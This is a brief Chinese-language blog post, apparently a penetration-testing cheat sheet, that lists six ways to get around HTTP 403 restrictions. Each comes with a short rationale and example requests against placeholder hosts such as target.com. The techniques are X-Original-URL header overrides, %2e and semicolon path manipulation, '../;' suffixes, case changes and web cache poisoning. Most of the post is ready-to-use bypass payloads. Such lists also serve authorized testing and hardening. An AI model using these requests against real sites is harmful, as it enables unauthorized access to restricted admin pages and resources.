🚀 403 页面绕过技巧

473 阅读2分钟
  1. 🌐 使用 "X-Original-URL" 头:

    • 原理:某些服务器在处理请求时,会检查 X-Original-URL 头部来确定请求的原始 URL。这种方法利用了服务器对 X-Original-URL 头部的信任,将其值设置为受限制的路径,从而绕过访问控制。
    • 原始请求:
      GET /admin HTTP/1.1
      Host: target.com
      
    • 绕过请求:
      GET /anything HTTP/1.1
      Host: target.com
      X-Original-URL: /admin
      
  2. ✨ 在第一个斜杠后添加 %2e

    • 原理%2e 是 URL 编码表示的点 (.),某些服务器可能会错误地解析它,导致忽略路径的一部分,从而访问受限制的资源。
    • 原始请求:
      http://target.com/admin => 403
      
    • 绕过请求:
      http://target.com/%2e/admin => 200
      
  3. 🛠 尝试在 URL 中添加点 (.) 斜杠 (/) 和分号 (;):

    • 原理:一些服务器在处理路径时,可能会忽略或错误处理特殊字符,如点 (.)、斜杠 (/) 和分号 (;),从而允许访问受限制的资源。
    • 原始请求:
      http://target.com/admin => 403
      
    • 绕过请求:
      http://target.com/secret/. => 200
      http://target.com/secret//. => 200
      http://target.com/./secret/.. => 200
      http://target.com/;/secret => 200
      http://target.com/;//secret => 200
      
  4. 🗂 在目录名称后添加 ../;

    • 原理:目录遍历攻击的一种变体,通过在路径中添加 ../;,可能会绕过服务器的访问控制检查,直接访问受限制的资源。
    • 原始请求:
      http://target.com/admin
      
    • 绕过请求:
      http://target.com/admin../;
      
  5. 🔠 尝试将 URL 中的字母大写:

    • 原理:某些服务器对路径区分大小写,通过更改路径中某些字母的大小写,可能会绕过访问控制检查。
    • 原始请求:
      http://target.com/admin
      
    • 绕过请求:
      http://target.com/aDmIN
      
  6. 📦 通过 Web 缓存中毒:

    • 原理:利用 Web 缓存服务器对请求头的信任,将受限制路径的值存入缓存中,从而在后续请求中绕过访问控制。
    • 绕过请求:
      GET /anything HTTP/1.1
      Host: victim.com
      X-Original-URL: /admin